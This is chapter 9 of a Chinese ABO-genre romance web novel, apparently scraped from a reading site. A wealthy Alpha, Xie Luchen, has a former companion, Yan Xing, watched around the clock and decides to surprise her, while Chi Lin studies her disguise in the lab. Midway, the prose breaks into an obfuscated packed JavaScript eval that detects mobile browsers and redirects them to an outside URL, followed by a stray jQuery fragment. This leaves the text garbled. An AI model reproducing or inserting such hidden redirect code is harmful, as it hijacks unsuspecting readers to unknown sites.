9.第 9 章

作品:《从共享替身到倾倒众生[ABO]

    这些日子,谢陆呈一直没有放弃调查真相,他甚至还安排了人几乎是二十四小时的监视言星,结果都一无所获,没有查到任何异常。


    但若是换一种想法——


    如果言星真的没有使用过任何信息素模拟剂,而是如路怀安所说,是二次分化呢?


    性别是从出生时就决定的,但也不是没有例外情况。在成长过程中,有极少数人会遇到二次分化,这些人几乎都是Beta。


    而这些二次分化的Beta,大部分都成了Omega。只是这种分化不稳定,所以在分化过程中,他们的信息素分泌也极不稳定。


    这样一来,一切就都能解释的通了。


    谢陆呈想到言星发给他的消息以及信息素检测结果,当时他认为是言星的欲盖弥彰,可仔细想想,言星在他面前从未撒过谎。


    与其他人相比,她实在非常老实。若非如此,他也不会把她留在身边那么久。


    思及此,谢陆呈沉闷的心情莫名就好了几分。


    同为高等Alpha,路怀安与他离得近,敏锐的察觉到他的变化,不由挑眉:“你很高兴?”


    “这难道不值得高兴?”谢陆呈的脸上终于露出了久违的笑意,哼笑一声,“只要找到原因,我的问题就能解决了,我当然高兴。”


    路怀安眉头挑得更高,忽然道:“如果我们的猜测成真,你要怎么做?”


    不等谢陆呈回答,他又问:“你会娶她吗?”


    “当然不会!”


    谢陆呈想也不想的回答。


    他怎么可能会娶言星?


    即便言星二次分化成了一个Omega,他们之间的差距仍然显而易见,除非她幸运的如同江月深,独一无二的资质让她不凭家世也能立于顶端。


    然而这个可能性实在太低了,帝国能出一个江月深,已是奇迹。谢陆呈并不觉得这个奇迹会出现第二次。


    路怀安也不觉得。


    当然,只要谢陆呈自己想,他们也不是没有可能。世家少爷为爱反抗家族,他们这个圈子也不是没有。


    但有必要吗?


    路怀安道:“听说她爱你爱到可以跳海,你真的不考虑一下?”他虽然没有真正见过跟在好友身边的那个小beta,却听说了不少关于她的事。


    本来以为只是一个爱慕虚荣的低级beta,不想竟然是真爱?


    “又不是我喜欢她。”


    一声嗤笑。


    谢陆呈点燃一支烟抽了一口,浓郁的烟草味道飘荡在狭长的走廊间,袅袅烟气中映出了他凉薄的双眼。


    “现在不喜欢,不代表以后不会喜欢。”


    路怀安又道。


    谢陆呈却哈哈笑了起来,像是听到了本世纪最荒谬的笑话,眼底带着几分嘲弄:“你看我像是那种为爱痴狂的大情种吗?”


    当然不像。


    谁不知道流连风月的谢大少看似多情,其实最无情。像他这样的人,是没有真心的。


    也不需要真心。


    他是个商人。


    商人只看重利益。


    喜欢,值几个钱?


    不等路怀安再说,谢陆呈已经掐灭了手中的烟:“行了,我走了。”话音未落,他已经转身大步离开了,不过转瞬,身影便消失在了走廊里。


    走得那么快,带着一丝连自己也未曾察觉的迫不及待。


    回了车上,谢陆呈就拿出手机终于把言星拉出了黑名单。点开两人的聊天框,他唇角挂着漫不经心的笑,难得主动给言星发了一条消息——


    【你不是要当面解释吗?我给你一个机会】


    想来这几日,他拉黑她不理她,言星肯定快急疯了。现在收到他的消息,定然会迫不及待地来找他。


    谢陆呈唇角的笑意更深了两分。


    然而,消息发出去后,一分钟、两分钟……五分钟过了,却没有收到预料之中的言星兴奋激动的回复。


    这不合常理。


    以往,无论何时何地,无论她正在做什么,但凡他发消息,言星从来都是热情的秒回。


    随着时间过去,谢陆呈脸上的笑不知不觉淡了下去。他不是一个有耐心的人,又发了一条消息。


    【我只给你这一次机会。今晚八点,景盛】


    景盛就是那套大平层所在的小区。


    然而,消息如石沉大海,那边还是没回。


    谢陆呈的眉头终于皱了起来。


    难道是出意外了?


    想到此,谢陆呈立刻拨打了派去监视言星的人的电话。这一次,电话刚响起来就被接通了。


    “言星出事了?”


    没等那头出声,他直接问道。虽是问句,语气却是笃定的。


    “没有啊。言小姐很好。”电话另一头的属下先是愣了一下,才有些莫名地摇头,“谢总,是有其他吩咐吗?”


    谢陆呈拧眉:“既然没出事,她为什么不回我消息?”


    啊?


    属下有些懵逼。


    不等他深想,谢陆呈已经又问道:“她现在干什么?”


    这个问题他知道答案,属下立刻回答:“言小姐从早上就进了实验室,直到现在还没有出来。”


    原来是在实验室。


    是了,下面递上来的监视报告上写着,言星这几日一直泡在实验室里。负责监视的人自然无法跟进去,也是因此,他们才没有查到更有价值的东西。


    按照规矩,实验室里通常是不能带手机的,难怪言星没回他消息。


    谢陆呈终于舒展了眉头。


    他看了一下自己今天的日程安排,接下来的时间没有什么重要的事,想了想,他干脆启动了车子,朝帝都大学的方向开去。


    他现在心情不错,倒是不介意跑一趟,就当是给人惊喜了。


    想到不久后,言星在帝都大学看到他时的表情,谢陆呈难得有些期待的翘了翘唇。


    *


    因着心中焦虑,言星这晚没睡好,早上起来,眼下挂着两道明显的青黑,看上去颇有些憔悴。


    加之用了生物色素,她的皮肤黑了一层,整个人看上去有些灰扑扑的。


    不丑,但绝对不会引人瞩目。


    言星对自己现在的形象很满意,现在的她,恨不得把自己的存在感降到最低,最好能被所有人无视。


    然而,刚一打开卧室门,一道冷淡凌厉的视线便蓦地射了过来,并准确的落在了她的身上。


    是迟临。


    他正直直的凝视着她,目光深沉,似带着一种近乎审视的专注和探究。那道冷冽的视线从上到下的打量着她,仿若带着刀子一般,要割开她的伪装。


    一股压迫感骤然袭来。


    言星身体微僵,那一瞬,心跳快得像是要炸开。


    ——迟临发现了??


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037108|194559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她唇角扯了扯,勉强扬起一抹笑,试探地问:“学长,你一直看着我干什么?是我的身上有什么不对吗?”


    迟临没有回答她,而是忽然起身,长腿一迈,不过几个跨步就来到了她面前。男人炽热的气息瞬间包裹住了她的全身。


    他们离得太近了。


    近到能听到彼此的心跳声。


    言星下意识屏住了呼吸。


    她本能地朝后退了退,却只触到了坚硬冰冷的墙壁,避无可避,她抬眸,看见迟临忽而朝她伸出了手,冷白的指尖仿佛泛着冰凉的寒意。


    他捏住了她的下巴。


    抬起。


    言星便不受控制的扬起了头,对上了那张放大的俊颜,以及那双看不出情绪的琥珀色眸子。


    “学长……”


    她干巴巴的叫了一声。


    迟临仍然没应,头压得更低,低到他们的鼻尖似乎有一瞬都碰到了一起。有那么一刻,言星甚至以为迟临要吻下来了。但很快,这种荒谬到可笑的念头就被她摒弃了。


    迟临怎么可能吻她?


    有些烫。


    言星不自在的想要别开头,可刚一动,下巴上便传来了一阵细微的刺痛。生物色素虽然可以改变肤色,却无法强化她的皮肤硬度。


    她暴露出来的肌肤仍然很脆弱。


    “别动。”


    低哑的男音忽而响起,隐约带着一丝微不可查的压抑。


    指尖处传来的触感柔软得不可思议。灼热的指腹忍不住在那处嫩肉上摩挲了两下,明明已经很轻了,那处软肉竟仍然肉眼可见的快速发红。


    ……疼。


    言星拧了拧眉心,忍耐着,眼底却还是不受生理控制的起了一层淡淡的水雾。


    那么可怜。


    却非引人怜惜,反而勾起了心底最深处那最丑恶的欲、望。


    喉咙有些紧涩的干。


    喉结滑动,他无声的吞咽了一下。


    片刻,迟临直起身,淡声道:“你脸上的粉底没有涂开。”一边说着,他终于松开了捏住言星下巴的手。


    指尖上果然留下了一点粉底痕迹。


    “以后不要涂这些东西,很丑。”他声音冷冷的说,眉眼冰凉,看上去似乎非常的嫌弃。


    他是一个完美主义者,并有轻微的强迫症,忍受不了一点瑕疵。


    闻言,言星却长舒了一口气,觉得丑就对了,她现在要得就是这样的效果。在青年的注视下,言星乖巧点头:“好的,我以后尽量不涂了。”那是不可能的。


    这一日,言星还是跟着迟临去了实验室。


    实验室与之前没有什么不同,唯一的区别是里面的人员似乎换了不少,昨天嘲讽她的几个研究员都不在了。


    言星并未把这事放在心上,毕竟实验室里人员流动很正常。


    今天的迟临似乎不怎么忙。


    到了晚上七点半,他竟然就收工了,带着言星去了食堂。员工言星去打饭,老板迟临自然就舒服的坐在位置上等待。


    “叮铃——”


    等待间,言星放在桌上的手机忽然响了一声,屏幕亮起,‘谢陆呈’三个字闯入了迟临的眼里。他凝视着这个名字,目光冷淡且平静,拿起手机,面无表情地按了挂断。


    【记:新生的鲛人初生的肌肤脆弱如婴儿,但只要补充足够的营养,便能完成真正的蜕变。这个时期,通常不超过三个月。】